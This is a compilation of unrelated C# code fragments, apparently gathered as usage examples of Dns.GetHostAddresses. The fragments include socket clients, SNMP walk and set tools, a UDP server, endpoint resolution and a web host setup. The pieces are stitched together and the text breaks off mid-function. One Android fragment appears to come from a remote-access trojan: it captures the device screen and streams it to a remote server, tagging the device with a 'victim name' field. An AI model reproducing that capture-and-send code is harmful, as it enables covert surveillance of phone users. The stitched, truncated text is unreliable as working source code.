public static void StartClient()
{
// Data buffer for incoming data.
//byte[] bytes = new byte[1024];
Dictionary <string, int> dict = new Dictionary <string, int>();
dict.Add("pos1.olostaging.com", 443);
dict.Add("pos2.olostaging.com", 9292);
dict.Add("pos3.olostaging.com", 443);
dict.Add("pos1.olo.com", 9292);
dict.Add("api.olo.com", 443);
// Connect to a remote device.
try
{
foreach (KeyValuePair <string, int> d in dict)
{
//Check for web connection
var resultOfWebConnection = CheckForConnection(d.Key);
if (resultOfWebConnection == true)
{
Console.WriteLine("WebConnection Test Passed for {0} ", d.Key);
}
else
{
Console.WriteLine("WebConnection Test Failed for {0} ", d.Key);
continue;
}
// Establish the remote endpoint for the socket.
string urlname = d.Key;
int portname = d.Value;
IPAddress ipAddress = Dns.GetHostAddresses(urlname)[0];
Console.WriteLine("Connecting to url: {0} @ IP address {1} with port number {2} ", urlname, ipAddress,
portname);
IPEndPoint remoteEP = new IPEndPoint(ipAddress, portname);
// Create a TCP/IP socket.
Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
// Connect the socket to the remote endpoint. Catch any errors.
try
{
sender.Connect(remoteEP);
Console.WriteLine("Socket connected to {0}",
sender.RemoteEndPoint.ToString());
// Encode the data string into a byte array.
byte[] msg = Encoding.ASCII.GetBytes("This is a test<EOF>");
// Send the data through the socket.
int bytesSent = sender.Send(msg);
//Not waiting for a response from the server
// Release the socket.
sender.Shutdown(SocketShutdown.Both);
sender.Close();
}
catch (ArgumentNullException ane)
{
Console.WriteLine("ArgumentNullException : {0}", ane.ToString());
}
catch (SocketException se)
{
Console.WriteLine("SocketException : {0}", se.ToString());
}
catch (Exception e)
{
Console.WriteLine("Unexpected exception : {0}", e.ToString());
}
}
}
catch (Exception e)
{
Console.WriteLine(e.ToString());
}
}
public bool StartTimeShift(UInt32 reserveID)
{
try
{
if (Settings.Instance.TvTestExe.Length == 0)
{
MessageBox.Show("TVTest.exeのパスが設定されていません");
return(false);
}
if (CommonManager.Instance.NWMode == false)
{
if (IniFileHandler.GetPrivateProfileInt("SET", "EnableTCPSrv", 0, SettingPath.TimerSrvIniPath) == 0)
{
MessageBox.Show("追っかけ再生を行うには、動作設定でネットワーク接続を許可する必要があります。");
return(false);
}
}
NWPlayTimeShiftInfo playInfo = new NWPlayTimeShiftInfo();
UInt32 err = cmd.SendNwTimeShiftOpen(reserveID, ref playInfo);
if (err == 205)
{
MessageBox.Show("サーバーに接続できませんでした");
return(false);
}
else if (err != 1)
{
MessageBox.Show("まだ録画が開始されていません");
return(false);
}
if (IsOpenTVTest() == false)
{
processID = FindTVTestProcess();
if (processID == -1)
{
Process process;
process = System.Diagnostics.Process.Start(Settings.Instance.TvTestExe, Settings.Instance.TvTestCmd);
processID = process.Id;
System.Threading.Thread.Sleep(1000);
}
}
cmdTvTest.SetPipeSetting("Global\\TvTest_Ctrl_BonConnect_" + processID.ToString(), "\\\\.\\pipe\\TvTest_Ctrl_BonPipe_" + processID.ToString());
cmdTvTest.SetConnectTimeOut(1000);
TVTestStreamingInfo sendInfo = new TVTestStreamingInfo();
sendInfo.enableMode = 1;
sendInfo.ctrlID = playInfo.ctrlID;
if (CommonManager.Instance.NWMode == false)
{
sendInfo.serverIP = 0x7F000001;
string hostname = Dns.GetHostName();
IPAddress[] adrList = Dns.GetHostAddresses(hostname);
foreach (IPAddress address in adrList)
{
if (address.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
{
UInt32 ip = 0;
Int32 shift = 24;
foreach (string word in address.ToString().Split('.'))
{
ip |= Convert.ToUInt32(word) << shift;
shift -= 8;
}
sendInfo.serverIP = ip;
break;
}
}
sendInfo.serverPort = (UInt32)IniFileHandler.GetPrivateProfileInt("SET", "TCPPort", 4510, SettingPath.TimerSrvIniPath);
}
else
{
UInt32 ip = 0;
Int32 shift = 24;
foreach (string word in CommonManager.Instance.NW.ConnectedIP.Split('.'))
{
ip |= Convert.ToUInt32(word) << shift;
shift -= 8;
}
sendInfo.serverIP = ip;
sendInfo.serverPort = CommonManager.Instance.NW.ConnectedPort;
}
sendInfo.filePath = playInfo.filePath;
if (Settings.Instance.NwTvModeUDP == true)
{
sendInfo.udpSend = 1;
}
if (Settings.Instance.NwTvModeTCP == true)
{
sendInfo.tcpSend = 1;
}
if (cmdTvTest.SendViewSetStreamingInfo(sendInfo) != 1)
{
System.Threading.Thread.Sleep(5 * 1000);
cmdTvTest.SendViewSetStreamingInfo(sendInfo);
}
WakeupWindow(processID);
}
catch (Exception ex)
{
MessageBox.Show(ex.Message + "\r\n" + ex.StackTrace);
}
return(true);
}
public void Connect(string hostname, int port)
{
IPAddress[] addresses = Dns.GetHostAddresses(hostname);
Connect(addresses, port);
}
public string GetIP(string hostName)
{
return(Dns.GetHostAddresses(hostName).SkipWhile(o => o == null).First().ToString());
}
protected override void OnActivityResult(int requestCode, Result resultCode, Intent data)
{
Finish();
if (requestCode == MainActivity.REQUEST_CODE)
{
if (resultCode == Result.Ok)
{
try
{
ImageAvailableListener.ID = MainValues.KRBN_ISMI + "_" + ((MainActivity)MainActivity.global_activity).GetIdentifier();
ImageAvailableListener.screenSock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPAddress ipadresi_dosya = Dns.GetHostAddresses(MainValues.IP)[0];
IPEndPoint endpoint_dosya = new IPEndPoint(ipadresi_dosya, MainValues.port);
ImageAvailableListener.screenSock.SendBufferSize = int.MaxValue;
ImageAvailableListener.screenSock.NoDelay = true;
((MainActivity)MainActivity.global_activity).SetKeepAlive(ImageAvailableListener.screenSock, 2000, 1000);
ImageAvailableListener.screenSock.Connect(endpoint_dosya);
MainActivity.sMediaProjection = MainActivity.mProjectionManager.GetMediaProjection((int)resultCode, data);
if (MainActivity.sMediaProjection != null)
{
var metrics = Resources.DisplayMetrics;
MainActivity.mDensity = (int)metrics.DensityDpi;
MainActivity.mDisplay = WindowManager.DefaultDisplay;
// create virtual display depending on device width / height
((MainActivity)MainActivity.global_activity).createVirtualDisplay();
// register orientation change callback
MainActivity.mOrientationChangeCallback = new OrientationChangeCallback(this);
if (MainActivity.mOrientationChangeCallback.CanDetectOrientation())
{
MainActivity.mOrientationChangeCallback.Enable();
}
// register media projection stop callback
MainActivity.sMediaProjection.RegisterCallback(new MediaProjectionStopCallback(), MainActivity.mHandler);
}
}
catch (Exception)
{
if (ImageAvailableListener.screenSock != null)
{
try { ImageAvailableListener.screenSock.Close(); } catch { }
try { ImageAvailableListener.screenSock.Dispose(); } catch { }
((MainActivity)MainActivity.global_activity).stopProjection();
}
}
//ComponentName componentName = new ComponentName(this, Java.Lang.Class.FromType(typeof(screenActivty)).Name);
//PackageManager.SetComponentEnabledSetting(componentName, ComponentEnabledState.Disabled, ComponentEnableOption.DontKillApp);
}
else
{
try
{
byte[] dataPacker = ((MainActivity)MainActivity.global_activity).MyDataPacker("NOTSTART", System.Text.Encoding.UTF8.GetBytes("ECHO"));
MainActivity.Soketimiz.BeginSend(dataPacker, 0, dataPacker.Length, SocketFlags.None, null, null);
}
catch (Exception) { }
}
}
}
public static IWebHost Initialize(IEnumerable <ServiceDescriptor> services, FullNode fullNode,
ApiSettings apiSettings, ICertificateStore store, IWebHostBuilder webHostBuilder)
{
Guard.NotNull(fullNode, nameof(fullNode));
Guard.NotNull(webHostBuilder, nameof(webHostBuilder));
Uri apiUri = apiSettings.ApiUri;
X509Certificate2 certificate = apiSettings.UseHttps
? GetHttpsCertificate(apiSettings.HttpsCertificateFilePath, store)
: null;
webHostBuilder
.UseKestrel(options =>
{
if (!apiSettings.UseHttps)
{
return;
}
options.AllowSynchronousIO = true;
Action <ListenOptions> configureListener = listenOptions => { listenOptions.UseHttps(certificate); };
var ipAddresses = Dns.GetHostAddresses(apiSettings.ApiUri.DnsSafeHost);
foreach (var ipAddress in ipAddresses)
{
options.Listen(ipAddress, apiSettings.ApiPort, configureListener);
}
})
.UseContentRoot(Directory.GetCurrentDirectory())
.UseIISIntegration()
.UseUrls(apiUri.ToString())
.ConfigureServices(collection =>
{
if (services == null)
{
return;
}
collection.ConfigureOptions(typeof(EditorRCLConfigureOptions));
// copies all the services defined for the full node to the Api.
// also copies over singleton instances already defined
foreach (ServiceDescriptor service in services)
{
// open types can't be singletons
if (service.ServiceType.IsGenericType || service.Lifetime == ServiceLifetime.Scoped)
{
collection.Add(service);
continue;
}
object obj = fullNode.Services.ServiceProvider.GetService(service.ServiceType);
if (obj != null && service.Lifetime == ServiceLifetime.Singleton && service.ImplementationInstance == null)
{
collection.AddSingleton(service.ServiceType, obj);
}
else
{
collection.Add(service);
}
}
})
.UseStartup <Startup>();
IWebHost host = webHostBuilder.Build();
host.Start();
return(host);
}
public static IPEndPoint CreateEndpointFromString(string endpoint)
{
return(new IPEndPoint(Dns.GetHostAddresses(endpoint.Split(':')[0])[0], int.Parse(endpoint.Split(':')[1])));
}
public SocketFrameHandler(AmqpTcpEndpoint endpoint,
Func <AddressFamily, ITcpClient> socketFactory,
TimeSpan connectionTimeout, TimeSpan readTimeout, TimeSpan writeTimeout)
{
Endpoint = endpoint;
_frameHeaderBuffer = new byte[6];
var channel = Channel.CreateUnbounded <ReadOnlyMemory <byte> >(
new UnboundedChannelOptions
{
AllowSynchronousContinuations = false,
SingleReader = true,
SingleWriter = false
});
_channelReader = channel.Reader;
_channelWriter = channel.Writer;
// Resolve the hostname to know if it's even possible to even try IPv6
IPAddress[] adds = Dns.GetHostAddresses(endpoint.HostName);
IPAddress ipv6 = TcpClientAdapterHelper.GetMatchingHost(adds, AddressFamily.InterNetworkV6);
if (ipv6 == default(IPAddress))
{
if (endpoint.AddressFamily == AddressFamily.InterNetworkV6)
{
throw new ConnectFailureException("Connection failed", new ArgumentException($"No IPv6 address could be resolved for {endpoint.HostName}"));
}
}
else if (ShouldTryIPv6(endpoint))
{
try
{
_socket = ConnectUsingIPv6(new IPEndPoint(ipv6, endpoint.Port), socketFactory, connectionTimeout);
}
catch (ConnectFailureException)
{
// We resolved to a ipv6 address and tried it but it still didn't connect, try IPv4
_socket = null;
}
}
if (_socket is null)
{
IPAddress ipv4 = TcpClientAdapterHelper.GetMatchingHost(adds, AddressFamily.InterNetwork);
if (ipv4 == default(IPAddress))
{
throw new ConnectFailureException("Connection failed", new ArgumentException($"No ip address could be resolved for {endpoint.HostName}"));
}
_socket = ConnectUsingIPv4(new IPEndPoint(ipv4, endpoint.Port), socketFactory, connectionTimeout);
}
Stream netstream = _socket.GetStream();
netstream.ReadTimeout = (int)readTimeout.TotalMilliseconds;
netstream.WriteTimeout = (int)writeTimeout.TotalMilliseconds;
if (endpoint.Ssl.Enabled)
{
try
{
netstream = SslHelper.TcpUpgrade(netstream, endpoint.Ssl);
}
catch (Exception)
{
Close();
throw;
}
}
_reader = new BufferedStream(netstream, _socket.Client.ReceiveBufferSize);
_writer = new BufferedStream(netstream, _socket.Client.SendBufferSize);
WriteTimeout = writeTimeout;
_writerTask = Task.Run(WriteLoop, CancellationToken.None);
}
public WindowContacts()
{
InitializeComponent();
isConected = true;
while (!clientSocket.Connected)
{
IPAddress myIP = IPAddress.Parse("0.0.0.0");
IPAddress[] localIP = Dns.GetHostAddresses("Alberto-PC");
foreach (IPAddress address in localIP)
{
if (address.AddressFamily == AddressFamily.InterNetwork)
{
myIP = address;
}
}
try
{
clientSocket.Connect(myIP, _PORT);
networkStream = clientSocket.GetStream();
SendString(globals.username + "$$$$");
Thread thread = new Thread(getMessage);
thread.Start();
}
catch
{
MessageBox.Show("Servidor fuera de línea.", "Error", MessageBoxButtons.OK);
Application.Restart();
Environment.Exit(0);
}
}
// UPD
IPAddress[] localip = Dns.GetHostAddresses(Dns.GetHostName());
foreach (IPAddress address in localip)
{
if (address.AddressFamily == AddressFamily.InterNetwork)
{
myUdpIp = Convert.ToString(address);
}
}
audioUdpServer = new UdpServer();
audioUdpServer.Bindings = new IPEndPoint[] { new IPEndPoint(IPAddress.Parse(myUdpIp), 11000) };
IPEndPoint ipepLocal = new IPEndPoint(IPAddress.Parse(myUdpIp), 44444);
videoUdpServer = new UdpClient(ipepLocal);
IPEndPoint ipEPVideoGame = new IPEndPoint(IPAddress.Parse(myUdpIp), 33333);
videoGameUdpServer = new UdpClient(ipEPVideoGame);
textBoxUserName.Text = globals.username;
comboBoxUserStatus.SelectedIndex = 0;
globals.receivedText = null;
}
public static void Main(string[] args)
{
string community = "public";
bool showHelp = false;
bool showVersion = false;
VersionCode version = VersionCode.V1;
int timeout = 1000;
int retry = 0;
int maxRepetitions = 10;
Levels level = Levels.Reportable;
string user = string.Empty;
string authentication = string.Empty;
string authPhrase = string.Empty;
string privacy = string.Empty;
string privPhrase = string.Empty;
WalkMode mode = WalkMode.WithinSubtree;
bool dump = false;
OptionSet p = new OptionSet()
.Add("c:", "Community name, (default is public)", delegate(string v) { if (v != null)
{
community = v;
}
})
.Add("l:", "Security level, (default is noAuthNoPriv)", delegate(string v)
{
if (v.ToUpperInvariant() == "NOAUTHNOPRIV")
{
level = Levels.Reportable;
}
else if (v.ToUpperInvariant() == "AUTHNOPRIV")
{
level = Levels.Authentication | Levels.Reportable;
}
else if (v.ToUpperInvariant() == "AUTHPRIV")
{
level = Levels.Authentication | Levels.Privacy | Levels.Reportable;
}
else
{
throw new ArgumentException("no such security mode: " + v);
}
})
.Add("a:", "Authentication method (MD5 or SHA)", delegate(string v) { authentication = v; })
.Add("A:", "Authentication passphrase", delegate(string v) { authPhrase = v; })
.Add("x:", "Privacy method", delegate(string v) { privacy = v; })
.Add("X:", "Privacy passphrase", delegate(string v) { privPhrase = v; })
.Add("u:", "Security name", delegate(string v) { user = v; })
.Add("h|?|help", "Print this help information.", delegate(string v) { showHelp = v != null; })
.Add("V", "Display version number of this application.", delegate(string v) { showVersion = v != null; })
.Add("d", "Display message dump", delegate(string v) { dump = true; })
.Add("t:", "Timeout value (unit is second).", delegate(string v) { timeout = int.Parse(v) * 1000; })
.Add("r:", "Retry count (default is 0)", delegate(string v) { retry = int.Parse(v); })
.Add("v|version:", "SNMP version (1, 2, and 3 are currently supported)", delegate(string v)
{
switch (int.Parse(v))
{
case 1:
version = VersionCode.V1;
break;
case 2:
version = VersionCode.V2;
break;
case 3:
version = VersionCode.V3;
break;
default:
throw new ArgumentException("no such version: " + v);
}
})
.Add("m|mode:", "WALK mode (subtree, all are supported)", delegate(string v)
{
if (v == "subtree")
{
mode = WalkMode.WithinSubtree;
}
else if (v == "all")
{
mode = WalkMode.Default;
}
else
{
throw new ArgumentException("unknown argument: " + v);
}
})
.Add("Cr:", "Max-repetitions (default is 10)", delegate(string v) { maxRepetitions = int.Parse(v); });
if (args.Length == 0)
{
ShowHelp(p);
return;
}
List <string> extra;
try
{
extra = p.Parse(args);
}
catch (OptionException ex)
{
Console.WriteLine(ex.Message);
return;
}
if (showHelp)
{
ShowHelp(p);
return;
}
if (extra.Count < 1 || extra.Count > 2)
{
Console.WriteLine("invalid variable number: " + extra.Count);
return;
}
if (showVersion)
{
Console.WriteLine(System.Reflection.Assembly.GetExecutingAssembly().GetName().Version);
return;
}
IPAddress ip;
bool parsed = IPAddress.TryParse(extra[0], out ip);
if (!parsed)
{
foreach (IPAddress address in
Dns.GetHostAddresses(extra[0]).Where(address => address.AddressFamily == AddressFamily.InterNetwork))
{
ip = address;
break;
}
if (ip == null)
{
Console.WriteLine("invalid host or wrong IP address found: " + extra[0]);
return;
}
}
try
{
ObjectIdentifier test = extra.Count == 1 ? new ObjectIdentifier("1.3.6.1.2.1") : new ObjectIdentifier(extra[1]);
IList <Variable> result = new List <Variable>();
IPEndPoint receiver = new IPEndPoint(ip, 161);
if (version == VersionCode.V1)
{
Messenger.Walk(version, receiver, new OctetString(community), test, result, timeout, mode);
}
else if (version == VersionCode.V2)
{
Messenger.BulkWalk(version, receiver, new OctetString(community), test, result, timeout, maxRepetitions, mode, null, null);
}
else
{
if (string.IsNullOrEmpty(user))
{
Console.WriteLine("User name need to be specified for v3.");
return;
}
IAuthenticationProvider auth = (level & Levels.Authentication) == Levels.Authentication
? GetAuthenticationProviderByName(authentication, authPhrase)
: DefaultAuthenticationProvider.Instance;
IPrivacyProvider priv;
if ((level & Levels.Privacy) == Levels.Privacy)
{
priv = new DESPrivacyProvider(new OctetString(privPhrase), auth);
}
else
{
priv = new DefaultPrivacyProvider(auth);
}
Discovery discovery = Messenger.GetNextDiscovery(SnmpType.GetBulkRequestPdu);
ReportMessage report = discovery.GetResponse(timeout, receiver);
Messenger.BulkWalk(version, receiver, new OctetString(user), test, result, timeout, maxRepetitions, mode, priv, report);
}
foreach (Variable variable in result)
{
Console.WriteLine(variable);
}
}
catch (SnmpException ex)
{
Console.WriteLine(ex);
}
catch (SocketException ex)
{
Console.WriteLine(ex);
}
}
/// <summary>
/// Starts UDP server.
/// </summary>
public void Start()
{
if (m_IsRunning)
{
return;
}
m_IsRunning = true;
m_StartTime = DateTime.Now;
m_pQueuedPackets = new Queue <UdpPacket>();
// Run only if we have some listening point.
if (m_pBindings != null)
{
// We must replace IPAddress.Any to all available IPs, otherwise it's impossible to send
// reply back to UDP packet sender on same local EP where packet received. This is very
// important when clients are behind NAT.
List <IPEndPoint> listeningEPs = new List <IPEndPoint>();
foreach (IPEndPoint ep in m_pBindings)
{
if (ep.Address.Equals(IPAddress.Any))
{
// Add localhost.
IPEndPoint epLocalhost = new IPEndPoint(IPAddress.Loopback, ep.Port);
if (!listeningEPs.Contains(epLocalhost))
{
listeningEPs.Add(epLocalhost);
}
// Add all host IPs.
foreach (IPAddress ip in Dns.GetHostAddresses(""))
{
IPEndPoint epNew = new IPEndPoint(ip, ep.Port);
if (!listeningEPs.Contains(epNew))
{
listeningEPs.Add(epNew);
}
}
}
else
{
if (!listeningEPs.Contains(ep))
{
listeningEPs.Add(ep);
}
}
}
// Create sockets.
m_pSockets = new List <Socket>();
foreach (IPEndPoint ep in listeningEPs)
{
try
{
m_pSockets.Add(Core.CreateSocket(ep, ProtocolType.Udp));
}
catch (Exception x)
{
OnError(x);
}
}
// Create round-robin send sockets. NOTE: We must skip localhost, it can't be used
// for sending out of server.
m_pSendSocketsIPv4 = new CircleCollection <Socket>();
m_pSendSocketsIPv6 = new CircleCollection <Socket>();
foreach (Socket socket in m_pSockets)
{
if ((socket.LocalEndPoint).AddressFamily == AddressFamily.InterNetwork)
{
if (!((IPEndPoint)socket.LocalEndPoint).Address.Equals(IPAddress.Loopback))
{
m_pSendSocketsIPv4.Add(socket);
}
}
else if ((socket.LocalEndPoint).AddressFamily == AddressFamily.InterNetworkV6)
{
m_pSendSocketsIPv6.Add(socket);
}
}
Thread tr = new Thread(ProcessIncomingUdp);
tr.Start();
Thread tr2 = new Thread(ProcessQueuedPackets);
tr2.Start();
}
}
public static List <EndPoint> GetAddresses(string host, int port, int protocol,
Ice.EndpointSelectionType selType, bool preferIPv6, bool blocking)
{
var addresses = new List <EndPoint>();
if (host.Length == 0)
{
foreach (IPAddress a in GetLoopbackAddresses(protocol))
{
addresses.Add(new IPEndPoint(a, port));
}
if (protocol == EnableBoth)
{
if (preferIPv6)
{
addresses = addresses.OrderByDescending(addr => addr.AddressFamily).ToList();
}
else
{
addresses = addresses.OrderBy(addr => addr.AddressFamily).ToList();
}
}
return(addresses);
}
int retry = 5;
repeatGetHostByName:
try
{
//
// No need for lookup if host is ip address.
//
try
{
var addr = IPAddress.Parse(host);
if ((addr.AddressFamily == AddressFamily.InterNetwork && protocol != EnableIPv6) ||
(addr.AddressFamily == AddressFamily.InterNetworkV6 && protocol != EnableIPv4))
{
addresses.Add(new IPEndPoint(addr, port));
return(addresses);
}
else
{
throw new Ice.DNSException
{
Host = host
};
}
}
catch (FormatException)
{
if (!blocking)
{
return(addresses);
}
}
foreach (IPAddress a in Dns.GetHostAddresses(host))
{
if ((a.AddressFamily == AddressFamily.InterNetwork && protocol != EnableIPv6) ||
(a.AddressFamily == AddressFamily.InterNetworkV6 && protocol != EnableIPv4))
{
addresses.Add(new IPEndPoint(a, port));
}
}
if (selType == Ice.EndpointSelectionType.Random)
{
var rnd = new Random();
addresses = addresses.OrderBy(x => (endpoint: rnd.Next(), i: x)).ToList();
}
if (protocol == EnableBoth)
{
if (preferIPv6)
{
addresses.OrderByDescending(addr => addr.AddressFamily).ToList();
}
else
{
addresses.OrderBy(addr => addr.AddressFamily).ToList();
}
}
}
catch (SocketException ex)
{
if (SocketErrorCode(ex) == SocketError.TryAgain && --retry >= 0)
{
goto repeatGetHostByName;
}
throw new Ice.DNSException(0, host, ex);
}
catch (Exception ex)
{
throw new Ice.DNSException(0, host, ex);
}
//
// No InterNetwork/InterNetworkV6 available.
//
if (addresses.Count == 0)
{
throw new Ice.DNSException(0, host);
}
return(addresses);
}
public RemoteService(ushort port, string serviceName, WellKnownObjectMode mode)
: base(Dns.GetHostAddresses(Dns.GetHostName())[0], port, serviceName)
{
ObjectMode = mode;
}
public bool Connect(string domain, ushort port)
{
sock.Connect(new IPEndPoint(Dns.GetHostAddresses(domain) [0], port));
return(sock.Connected);
}
/// <summary>
/// Get local IP address list
/// Get list of computer IP addresses using static method Dns.GetHostAddresses.
/// To get list of local IP addresses pass local computer name as a parameter to the method.
/// </summary>
/// <returns></returns>
public static IPAddress[] GetLocalIPAddressList()
{
IPAddress[] localIPs = Dns.GetHostAddresses(Dns.GetHostName());
return(localIPs);
}
/// <summary>
/// Connects to an endpoint.
/// </summary>
public IAsyncResult BeginConnect(Uri endpointUrl, AsyncCallback callback, object state)
{
if (endpointUrl == null)
{
throw new ArgumentNullException("endpointUrl");
}
lock (m_socketLock)
{
if (m_socket != null)
{
throw new InvalidOperationException("The socket is already connected.");
}
bool ipV6Required = false;
// need to check if an IP address was provided.
IPAddress address = null;
if (IPAddress.TryParse(endpointUrl.DnsSafeHost, out address))
{
ipV6Required = address.AddressFamily == AddressFamily.InterNetworkV6;
}
IPAddress[] addresses = null;
// need to check if any IPv4 addresses are available for the server.
if (address == null)
{
addresses = Dns.GetHostAddresses(endpointUrl.DnsSafeHost);
if (!ipV6Required)
{
ipV6Required = true;
for (int ii = 0; ii < addresses.Length; ii++)
{
if (addresses[ii].AddressFamily == AddressFamily.InterNetwork)
{
ipV6Required = false;
break;
}
}
}
}
// need to check if IPv4 is enabled locally.
if (!ipV6Required)
{
IPAddress[] localAddresses = Dns.GetHostAddresses(Dns.GetHostName());
ipV6Required = false;
// look for an IPv6 address.
for (int ii = 0; ii < localAddresses.Length; ii++)
{
if (localAddresses[ii].AddressFamily == AddressFamily.InterNetworkV6)
{
ipV6Required = true;
break;
}
}
// check if an IPv4 address exists.
if (ipV6Required)
{
for (int ii = 0; ii < localAddresses.Length; ii++)
{
if (localAddresses[ii].AddressFamily == AddressFamily.InterNetwork && !IPAddress.IsLoopback(localAddresses[ii]))
{
ipV6Required = false;
break;
}
}
}
}
// create the correct type of socket.
if (ipV6Required)
{
m_socket = new Socket(AddressFamily.InterNetworkV6, SocketType.Stream, ProtocolType.IP);
}
else
{
m_socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP);
}
// ensure a valid port.
int port = endpointUrl.Port;
if (port <= 0 || port > UInt16.MaxValue)
{
port = Utils.UaTcpDefaultPort;
}
// connect to the server.
if (address != null)
{
return(m_socket.BeginConnect(address, port, callback, state));
}
return(m_socket.BeginConnect(addresses, port, callback, state));
}
}
public void ChannelActivated()
{
if (this.is_inited)
{
return;
}
this.is_inited = true;
try
{
IPAddress address = Dns.GetHostAddresses(Dns.GetHostName())
.FirstOrDefault(ip => ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork);
this.local_ip = address.ToString();
}
catch
{
Logger.Warning("Get local ip failed.");
}
foreach (String member in Args.Instance.Node.Backup.Members)
{
if (!this.local_ip.Equals(member))
{
members.Add(member);
}
}
Logger.Info(
string.Format("Backup localIp:{0}, members: size= {1}, {2}",
this.local_ip,
members.Count,
members));
this.status = BackupStatus.INIT;
this.last_keep_alive_time = Helper.CurrentTimeMillis();
this.service_handler = ScheduledExecutorService.Scheduled(() =>
{
try
{
if (this.status != BackupStatus.MASTER &&
Helper.CurrentTimeMillis() - this.last_keep_alive_time > this.keep_alive_timeout)
{
if (this.status == BackupStatus.SLAVER)
{
this.status = BackupStatus.INIT;
this.last_keep_alive_time = Helper.CurrentTimeMillis();
}
else
{
this.status = BackupStatus.MASTER;
}
}
if (this.status == BackupStatus.SLAVER)
{
return;
}
foreach (string member in this.members)
{
this.message_handler.Accept(
new UdpEvent(new KeepAliveMessage(this.status.Equals(BackupStatus.MASTER), priority),
new IPEndPoint(IPAddress.Parse(member), port)));
}
}
catch (System.Exception e)
{
Logger.Error("Exception in send keep alive message : " + e.Message);
}
}, 1000, 1000);
}
// Occurs when the user leaves the host name field
private void m_hostNameTextBox_LostFocus(object sender, RoutedEventArgs e)
{
try
{
IPAddress[] hostIPs = Dns.GetHostAddresses(m_hostNameTextBox.Text);
IEnumerable <IPAddress> localIPs = Dns.GetHostAddresses("localhost").Concat(Dns.GetHostAddresses(Dns.GetHostName()));
// Check to see if entered host name corresponds to a local IP address
if (!hostIPs.Any(localIPs.Contains))
{
MessageBox.Show("You have entered a non-local host name for your MySql instance. By default remote access to MySQL database server is disabled for security reasons. If you have trouble connecting, check the security settings on the remote MySQL database server.", "MySql Security", MessageBoxButton.OK, MessageBoxImage.Warning);
}
}
catch
{
MessageBox.Show("The configuration utility could not determine if you entered a non-local host name for your MySql instance. Keep in mind that remote access to MySQL database server is disabled by default for security reasons. If you have trouble connecting, check the security settings on the remote MySQL database server.", "MySql Security", MessageBoxButton.OK, MessageBoxImage.Warning);
}
}
public void Dns_GetHostAddresses_CallSocketInit_Ok()
{
NameResolutionPal.FakesReset();
Assert.ThrowsAny <Exception>(() => Dns.GetHostAddresses(null));
Assert.NotEqual(0, NameResolutionPal.FakesEnsureSocketsAreInitializedCallCount);
}
private void frmConnect_Load(object sender, EventArgs e)
{
IPAddress[] LocalIPs = Dns.GetHostAddresses(Dns.GetHostName());
txtIP.Text = Convert.ToString(LocalIPs[LocalIPs.Length - offset]);
// txtIP.Text = "127.0.0.1";
}
static void Main(string[] args)
{
string community = "public";
bool showHelp = false;
bool showVersion = false;
VersionCode version = VersionCode.V1;
int timeout = 1000;
int retry = 0;
Levels level = Levels.Reportable;
string user = string.Empty;
string authentication = string.Empty;
string authPhrase = string.Empty;
string privacy = string.Empty;
string privPhrase = string.Empty;
OptionSet p = new OptionSet()
.Add("c:", "-c for community name, (default is public)", delegate(string v) { if (v != null)
{
community = v;
}
})
.Add("l:", "-l for security level, (default is noAuthNoPriv)", delegate(string v)
{
if (v.ToUpperInvariant() == "NOAUTHNOPRIV")
{
level = Levels.Reportable;
}
else if (v.ToUpperInvariant() == "AUTHNOPRIV")
{
level = Levels.Authentication | Levels.Reportable;
}
else if (v.ToUpperInvariant() == "AUTHPRIV")
{
level = Levels.Authentication | Levels.Privacy | Levels.Reportable;
}
else
{
throw new ArgumentException("no such security mode: " + v);
}
})
.Add("a:", "-a for authentication method (MD5 or SHA)", delegate(string v) { authentication = v; })
.Add("A:", "-A for authentication passphrase", delegate(string v) { authPhrase = v; })
.Add("x:", "-x for privacy method", delegate(string v) { privacy = v; })
.Add("X:", "-X for privacy passphrase", delegate(string v) { privPhrase = v; })
.Add("u:", "-u for security name", delegate(string v) { user = v; })
.Add("h|?|help", "-h, -?, -help for help.", delegate(string v) { showHelp = v != null; })
.Add("V", "-V to display version number of this application.", delegate(string v) { showVersion = v != null; })
.Add("t:", "-t for timeout value (unit is second).", delegate(string v) { timeout = int.Parse(v) * 1000; })
.Add("r:", "-r for retry count (default is 0)", delegate(string v) { retry = int.Parse(v); })
.Add("v:", "-v for SNMP version (1, 2, and 3 are currently supported)", delegate(string v)
{
switch (int.Parse(v))
{
case 1:
version = VersionCode.V1;
break;
case 2:
version = VersionCode.V2;
break;
case 3:
version = VersionCode.V3;
break;
default:
throw new ArgumentException("no such version: " + v);
}
});
List <string> extra = p.Parse(args);
if (showHelp)
{
ShowHelp();
return;
}
if (showVersion)
{
Console.WriteLine(System.Reflection.Assembly.GetExecutingAssembly().GetName().Version);
return;
}
if (extra.Count < 2)
{
ShowHelp();
return;
}
IPAddress ip;
bool parsed = IPAddress.TryParse(extra[0], out ip);
if (!parsed)
{
foreach (IPAddress address in Dns.GetHostAddresses(extra[0]))
{
if (address.AddressFamily != AddressFamily.InterNetwork)
{
continue;
}
ip = address;
break;
}
if (ip == null)
{
Console.WriteLine("invalid host or wrong IP address found: " + extra[0]);
return;
}
}
if ((extra.Count - 1) % 3 != 0)
{
Console.WriteLine("invalid variable number: " + (extra.Count - 1));
return;
}
try
{
List <Variable> vList = new List <Variable>();
for (int i = 1; i < extra.Count; i = i + 3)
{
string type = extra[i + 1];
if (type.Length != 1)
{
Console.WriteLine("invalid type string: " + type);
return;
}
ISnmpData data;
switch (type[0])
{
case 'i':
data = new Integer32(int.Parse(extra[i + 2]));
break;
case 'u':
data = new Gauge32(uint.Parse(extra[i + 2]));
break;
case 't':
data = new TimeTicks(uint.Parse(extra[i + 2]));
break;
case 'a':
data = new IP(IPAddress.Parse(extra[i + 2]));
break;
case 'o':
data = new ObjectIdentifier(extra[i + 2]);
break;
case 'x':
data = new OctetString(ByteTool.Convert(extra[i + 2]));
break;
case 's':
data = new OctetString(extra[i + 2]);
break;
case 'd':
data = new OctetString(ByteTool.ConvertDecimal(extra[i + 2]));
break;
case 'n':
data = new Null();
break;
default:
Console.WriteLine("unknown type string: " + type[0]);
return;
}
Variable test = new Variable(new ObjectIdentifier(extra[i]), data);
vList.Add(test);
}
IPEndPoint receiver = new IPEndPoint(ip, 161);
if (version != VersionCode.V3)
{
foreach (Variable variable in
